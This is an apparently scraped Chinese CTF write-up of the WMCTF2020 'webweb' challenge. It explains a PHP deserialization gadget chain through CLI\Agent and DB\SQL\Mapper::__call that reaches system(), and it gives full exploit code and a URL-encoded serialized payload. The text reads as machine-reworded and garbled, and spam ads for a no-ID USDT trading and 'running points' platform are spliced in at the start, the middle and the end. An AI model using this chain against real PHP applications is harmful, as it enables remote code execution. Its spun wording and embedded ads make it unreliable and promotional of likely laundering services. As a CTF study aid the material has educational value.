菜宝钱包(caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。
WMCTF2020 webweb的深入思索
问题源码可以在XCTF平台上下载到。
准备工作
下载源码,有readme,通过readme可以得知是某个框架。于是通过GitHub下载源版文件举行对比。
unserialize($_GET['a']);
主页只给了一个反序列化。应该考察的是反序列化。
那么就需要寻找入口函数__destruct()或者__wakeup()
删了两处__destruct(),应该是防止走偏。
那么入口应该在第三处CLI\Agent::__destruct()
入手
function __destruct() { if (isset($this->server->events['disconnect']) && is_callable($func=$this->server->events['disconnect'])) $func($this); }
这里凭据$this->server->events['disconnect']
可以实验将$func控制为随便函数
is_callable()
判断$fun是否为可执行的函数,其值可以为一个数组。
然后执行这个函数。
那么若何通过这个函数举行RCE呢?这里寻找函数就变得很主要。
由于这里无法控制这个函数的参数。于是我们思量组织__call()
的方式举行攻击。
征采类似这种花样。
$A->B($this->C)
其中$A是我们可控的,为某一个类。B是用来触发__call()
方式的$A类中的谁人并不存在的方式。__call()
方式的返回值即为危险方式,好比system()
等。C也是我们可控的一个变量。在这道题中作为system()
的参数。
CLI\Agent::fench
function fetch() { // Unmask payload $server=$this->server; if (is_bool($buf=$server->read($this->socket))) return FALSE;
CLI\DB\JIG\mapper::insert
function insert() { if ($this->id) return $this->update(); $db=$this->db; $now=microtime(TRUE); while (($id=uniqid(NULL,TRUE)) && ($data=&$db->read($this->file)) && isset($data[$id]) && !connection_aborted()) usleep(mt_rand(0,100));
CLI\DB\JIG\mapper::erase
function erase($filter=NULL,$quick=FALSE) { $db=$this->db; $now=microtime(TRUE); $data=&$db->read($this->file);
这些都相符我们的要求。这里以第一种举例,socket
和server
都是我们可控的
,菜宝钱包(caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。
接下来只需要寻找一个可以返回随便值的__call()
方式。
最终在DB\SQL\Mapper::__call()
发现返回值为
function __call($func,$args) { return call_user_func_array( (array_key_exists($func,$this->props)? $this->props[$func]: $this->$func),$args ); }
返回值为$this->props[$func]
其中props可控,且$func为适才的read函数,以是$func就为read
那么值需要控制props[read]
为system
就行了。
exp
<?php namespace DB\SQL { class Mapper { protected $props; public function __construct($props) { $this->props = $props; } } } namespace CLI { class Agent { protected $server; protected $socket; public function __construct($server, $socket) { $this->server = $server; $this->socket= $socket; } } class WS { protected $events = []; public function __construct($events) { $this->events = $events; } } } namespace { class Log { public $events = []; public function __construct($events) { $this->events = $events; } } $a = new DB\SQL\Mapper(array("read"=>"system")); //把props赋值为props[read]=system $b = new CLI\Agent($a, 'dir'); //$a即为Mapper的实例化工具,且不含有read()方式。触发了Mapper的__call()方式,返回了system替换read。同时dir为socket赋值,作为system的参数 $c = new Log(array("disconnect"=>array($b,'fetch')));//给event[]变量赋值为array("disconnect"=>array($b,'fetch')), array($b,'fetch')即为fentch,其中$b为fetch的所属类 $d = new CLI\Agent($c, '');//触发__destruct()的点,这里的类是随意的。 $e = array(new \CLI\WS(""),$d); //为了加载ws.php echo urlencode(serialize($e))."\n"; }
payloadO%3A6%3A%22CLI%5CWS%22%3A1%3A%7Bs%3A9%3A%22%00%2A%00events%22%3BO%3A9%3A%22CLI%5CAgent%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00server%22%3BO%3A5%3A%22Image%22%3A1%3A%7Bs%3A6%3A%22events%22%3Ba%3A1%3A%7Bs%3A10%3A%22disconnect%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A9%3A%22CLI%5CAgent%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00server%22%3BO%3A13%3A%22DB%5CSQL%5CMapper%22%3A1%3A%7Bs%3A8%3A%22%00%2A%00props%22%3Ba%3A1%3A%7Bs%3A4%3A%22read%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A9%3A%22%00%2A%00socket%22%3Bs%3A3%3A%22dir%22%3B%7Di%3A1%3Bs%3A5%3A%22fetch%22%3B%7D%7D%7Ds%3A9%3A%22%00%2A%00socket%22%3Bs%3A0%3A%22%22%3B%7D%7D
实验内陆调试:
进入反序列化
更先加载php文件,这样会加载cli文件夹下的ws.php。这也就是为什么要$e = new CLI\WS($d); //为了加载ws.php
加载了ws.php才会进入ws.php中的__destruct()方式。
等所有加载完之后进入__destruct()
server为我们控制的Image类。Image类下的event[]也为我们控制的array("disconnect"=>array($b,'fetch'))
于是就过了这个判断,且为$func
赋值为fetch
。
然后跟进fetch()
函数
此时$server
为我们赋值的Mapper
类工具,且Mapper
类中没有read()这个方式。于是触发了Mapper
类工具中的__call()
方式
$func即为上图中的read,由于我们在一更先赋值props[read]=system
以是props数组中是存在名为read的键的,以是判断为True。
返回了props[read]
即system。
此时的read为返回值system,且socket为我们控制的值dir。那么就执行了system('dir')。达成了RCE的目的
Allbet Gaming声明:该文看法仅代表作者自己,与www.allbetgame.us无关。转载请注明:usdt法币交易api接入(www.caibao.it):从WMCTF2020 webweb学反序列化